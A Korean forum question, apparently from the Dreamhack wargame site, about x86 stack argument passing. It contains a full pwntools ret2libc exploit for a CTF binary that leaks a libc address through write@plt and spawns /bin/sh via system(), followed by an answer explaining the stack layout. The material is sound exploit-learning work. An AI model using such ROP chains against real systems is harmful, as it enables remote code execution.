x86 write 함수 호출규약 관련하여 질문드립니다.

from pwn import *

def slog(symbol, addr):
return success(symbol + ": " + hex(addr))

p=remote('host3.dreamhack.games',13804)
e=ELF('./basic_rop_x86')
libc=ELF("./libc.so.6",checksec=False)

read_got=e.got['read']
read_plt=e.plt['read']
write_plt=e.plt['write']
main=e.symbols["main"]

read_offset=libc.symbols['read']
system_offset=libc.symbols['system']
sh= list(libc.search(b"/bin/sh"))[0]

pop_esi_edi_ebp=0x08048689
pop_ebp=0x0804868b
#stage 1
payload=b'A'*0x48
#write(1,read@got,8)
payload+=p32(write_plt)
payload+=p32(pop_esi_edi_ebp)
payload+=p32(1)
payload+=p32(read_got)
payload+=p32(4)
payload+=p32(main)

p.send(payload)
#main함수 끝나기전에 출력된것 삭제
p.recvuntil(b'A'*0x40)

#read 받아오기
read=u32(p.recv(4))
lb=read-read_offset
system=lb+system_offset
binsh=lb+sh

slog("read", read)
slog("libc base", lb)
slog("system", system)
slog("/bin/sh", binsh)

payload=b'A'*0x48
payload+=p32(system)
payload+=p32(pop_ebp)+p32(binsh)

p.send(payload)
p.recvuntil(b'A'*0x40)
p.interactive()

ret2main기법을 사용해서 다음과 같이 작성해주었는데
pop_esi_edi_ebp와 같이 레지스터를 이용해서 스택에 쌓아둔 값을 빼주는 이유가 esp를 높은 주소로 보내주기 위해서이고 x86아키텍처에서는 스택으로 인자를 전달하기에 값이 저장된 레지스터는 인자전달에 영향을 미치지 않는다고 알고있습니다.
그런데 x86아키텍처에서 스택으로 인자를 전달한다면, 인자를 몇개까지 받아야하는지는 어떻게 알 수 있나요? 놓인 순서대로 인자로 들어간다면, write_plt다음에 실행된 pop_esi_edi_ebp도 인자로 들어가야할거같은데 제 생각과는 다른거 같아서 질문드립니다.

#pwnable
작성자 정보
답변 1

image.png
main 함수의 ret 주소는 write@plt

image.png
image.png
1,read@got,4가 들어가서 read 함수 주소를 알 수 있는 것입니다.

image.png
write@plt의 ret 주소가 Gadget이 됩니다.

다시 한번 정리해보자면 write@plt -> main return address, Gadget -> write@plt return address가 되고 1, read@got, 4 -> write@plt의 인자 값이 되게 됩니다.
image.png

모르겠는 부분 댓글로 말씀해주세요 :)

2024.07.13. 12:19
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기